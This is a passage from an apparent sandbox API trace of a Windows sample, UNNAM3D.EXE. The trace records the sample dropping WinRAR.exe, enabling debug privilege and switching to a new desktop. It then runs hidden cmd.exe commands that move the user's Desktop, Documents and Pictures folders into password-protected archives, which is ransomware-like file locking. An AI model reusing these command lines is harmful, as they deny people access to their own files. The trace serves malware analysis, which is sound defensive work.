hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.679] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.679] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.679] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.679] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.679] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 0 [0040.679] FindClose (in: hFindFile=0x414bf0 | out: hFindFile=0x414bf0) returned 1 [0040.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32eaa0) returned 1 [0040.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32eaac) returned 1 [0040.679] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0x32e5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0040.680] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0x32e638, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0040.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32ea98) returned 1 [0040.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe"), fInfoLevelId=0x0, lpFileInformation=0x32eb14 | out: lpFileInformation=0x32eb14*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c8ef660, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x2c8ef660, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0xcb05cd00, ftLastWriteTime.dwHighDateTime=0x1d4e91f, nFileSizeHigh=0x0, nFileSizeLow=0x7b5800)) returned 1 [0040.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32ea94) returned 1 [0040.681] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", nBufferLength=0x105, lpBuffer=0x32e638, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", lpFilePart=0x0) returned 0x32 [0040.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32ea98) returned 1 [0040.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\wallpaper.png"), fInfoLevelId=0x0, lpFileInformation=0x32eb14 | out: lpFileInformation=0x32eb14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0040.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32ea94) returned 1 [0040.764] GetProcessHeap () returned 0x3d0000 [0040.764] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42fbb8 | out: hHeap=0x3d0000) returned 1 [0040.764] GetProcessHeap () returned 0x3d0000 [0040.764] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456ac0 | out: hHeap=0x3d0000) returned 1 [0040.777] GdipLoadImageFromStream (stream=0x5afff0, image=0x32e540) returned 0x0 [0040.782] GdipImageForceValidation (image=0x5b09bb8) returned 0x0 [0040.868] GdipGetImageType (image=0x5b09bb8, type=0x32e53c) returned 0x0 [0040.868] GdipGetImageRawFormat (image=0x5b09bb8, format=0x32e4c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0040.868] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0040.903] GdipGetImageRawFormat (image=0x5b09bb8, format=0x32eb2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0041.043] GdipGetImageEncodersSize (numEncoders=0x32eae0, size=0x32eadc) returned 0x0 [0041.043] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x4732f0 | out: encoders=0x4732f0) returned 0x0 [0041.045] LocalFree (hMem=0x4732f0) returned 0x0 [0041.089] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", nBufferLength=0x105, lpBuffer=0x32e578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", lpFilePart=0x0) returned 0x32 [0041.090] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", nBufferLength=0x105, lpBuffer=0x32e528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", lpFilePart=0x0) returned 0x32 [0041.090] GdipSaveImageToFile (image=0x5b09bb8, filename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\Wallpaper.png", clsidEncoder=0x32eaf4*(Data1=0x557cf406, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0041.810] GetProcessHeap () returned 0x3d0000 [0041.810] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42fbb8 | out: hHeap=0x3d0000) returned 1 [0041.810] GetProcessHeap () returned 0x3d0000 [0041.810] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456b60 | out: hHeap=0x3d0000) returned 1 [0041.812] GetProcessHeap () returned 0x3d0000 [0041.812] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42d858 | out: hHeap=0x3d0000) returned 1 [0041.812] GetProcessHeap () returned 0x3d0000 [0041.812] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456b60 | out: hHeap=0x3d0000) returned 1 [0042.009] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", nBufferLength=0x105, lpBuffer=0x32e510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", lpFilePart=0x0) returned 0x2f [0042.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32ea04) returned 1 [0042.010] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x290 [0042.010] GetFileType (hFile=0x290) returned 0x1 [0042.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32ea00) returned 1 [0042.010] GetFileType (hFile=0x290) returned 0x1 [0042.010] WriteFile (in: hFile=0x290, lpBuffer=0x3e46770*, nNumberOfBytesToWrite=0x22bcd8, lpNumberOfBytesWritten=0x32eac0, lpOverlapped=0x0 | out: lpBuffer=0x3e46770*, lpNumberOfBytesWritten=0x32eac0*=0x22bcd8, lpOverlapped=0x0) returned 1 [0042.136] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x32e40c | out: lpLuid=0x32e40c*(LowPart=0x14, HighPart=0)) returned 1 [0042.136] GetCurrentProcess () returned 0xffffffff [0042.136] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x32e408 | out: TokenHandle=0x32e408*=0x294) returned 1 [0042.137] AdjustTokenPrivileges (in: TokenHandle=0x294, DisableAllPrivileges=0, NewState=0x2a7f4a0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0042.137] CloseHandle (hObject=0x294) returned 1 [0042.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a95d50, Length=0x20000, ResultLength=0x32eaec | out: SystemInformation=0x3a95d50, ResultLength=0x32eaec*=0x9738) returned 0x0 [0042.304] GetProcessHeap () returned 0x3d0000 [0042.304] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x43ff10 | out: hHeap=0x3d0000) returned 1 [0042.304] GetProcessHeap () returned 0x3d0000 [0042.304] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x49c710 | out: hHeap=0x3d0000) returned 1 [0042.306] GetProcessHeap () returned 0x3d0000 [0042.306] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x49c710 | out: hHeap=0x3d0000) returned 1 [0042.306] GetProcessHeap () returned 0x3d0000 [0042.306] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x49c738 | out: hHeap=0x3d0000) returned 1 [0042.312] GetCurrentThreadId () returned 0x248 [0042.314] GetThreadDesktop (dwThreadId=0x248) returned 0x60 [0042.315] GetProcessHeap () returned 0x3d0000 [0042.315] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x414bf0 | out: hHeap=0x3d0000) returned 1 [0042.315] GetProcessHeap () returned 0x3d0000 [0042.315] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x49c738 | out: hHeap=0x3d0000) returned 1 [0042.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Hbchsbfgcd", cchWideChar=10, lpMultiByteStr=0x32ea78, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hbchsbfgcd3", lpUsedDefaultChar=0x0) returned 10 [0042.369] CreateDesktopA (lpszDesktop="Hbchsbfgcd", lpszDevice=0x0, pDevmode=0x0, dwFlags=0x0, dwDesiredAccess=0x1ff, lpsa=0x0) returned 0x294 [0042.371] GetProcessHeap () returned 0x3d0000 [0042.371] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4580c0 | out: hHeap=0x3d0000) returned 1 [0042.371] GetProcessHeap () returned 0x3d0000 [0042.371] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x49c738 | out: hHeap=0x3d0000) returned 1 [0042.373] SetThreadDesktop (hDesktop=0x294) returned 0 [0042.373] SwitchDesktop (hDesktop=0x294) returned 1 [0042.394] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0042.395] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0042.397] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0042.438] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0042.440] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0042.441] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x474170 [0042.441] LocalAlloc (uFlags=0x0, uBytes=0xe0) returned 0x49f670 [0042.441] ShellExecuteExW (in: pExecInfo=0x2a50e84*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\WhuOXYsD\\Desktop && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2a50e84*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\WhuOXYsD\\Desktop && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x380)) returned 1 [0045.496] LocalFree (hMem=0x474170) returned 0x0 [0045.496] LocalFree (hMem=0x49f670) returned 0x0 [0045.497] CloseHandle (hObject=0x380) returned 1 [0045.497] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x474170 [0045.497] LocalAlloc (uFlags=0x0, uBytes=0xe8) returned 0x49f670 [0045.497] ShellExecuteExW (in: pExecInfo=0x2a511f8*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\WhuOXYsD\\Documents && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2a511f8*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\WhuOXYsD\\Documents && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x3b0)) returned 1 [0045.514] LocalFree (hMem=0x474170) returned 0x0 [0045.514] LocalFree (hMem=0x49f670) returned 0x0 [0045.514] CloseHandle (hObject=0x3b0) returned 1 [0045.514] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x474170 [0045.514] LocalAlloc (uFlags=0x0, uBytes=0xe4) returned 0x49f670 [0045.514] ShellExecuteExW (in: pExecInfo=0x2a5154c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\WhuOXYsD\\Pictures && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2a5154c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C cd C:\\Users\\WhuOXYsD\\Pictures && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x36c)) returned 1 [0045.906] LocalFree (hMem=0x474170) returned 0x0 [0045.906] LocalFree (hMem=0x49f670) returned 0x0 [0045.907] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0054.574] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a95d50, Length=0x20000, ResultLength=0x32eaec | out: SystemInformation=0x3a95d50, ResultLength=0x32eaec*=0xad70) returned 0x0 [0054.584] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0059.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a95d50, Length=0x20000, ResultLength=0x32eaec | out: SystemInformation=0x3a95d50, ResultLength=0x32eaec*=0xcc70) returned 0x0 [0059.594] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0063.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a95d50, Length=0x20000, ResultLength=0x32eaec | out: SystemInformation=0x3a95d50, ResultLength=0x32eaec*=0xcc70) returned 0x0 [0063.215] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0066.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a95d50, Length=0x20000, ResultLength=0x32eaec | out: SystemInformation=0x3a95d50, ResultLength=0x32eaec*=0xc470) returned 0x0 [0066.331] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) Thread: id = 12 os_tid = 0x884 Thread: id = 13 os_tid = 0x86c [0038.188] CoGetContextToken (in: pToken=0x4b1fc1c | out: pToken=0x4b1fc1c) returned 0x800401f0 [0038.188] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0039.102] CloseHandle (hObject=0x1f0) returned 1 [0039.102] CloseHandle (hObject=0x20c) returned 1 Thread: id = 14 os_tid = 0x868 Thread: id = 16 os_tid = 0x888 Thread: id = 17 os_tid = 0x95c [0039.000] SetEvent (hEvent=0x228) returned 1 [0039.000] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0039.000] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.000] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.001] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.002] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.003] GetTickCount () returned 0xa62780 [0039.004] GetTickCount () 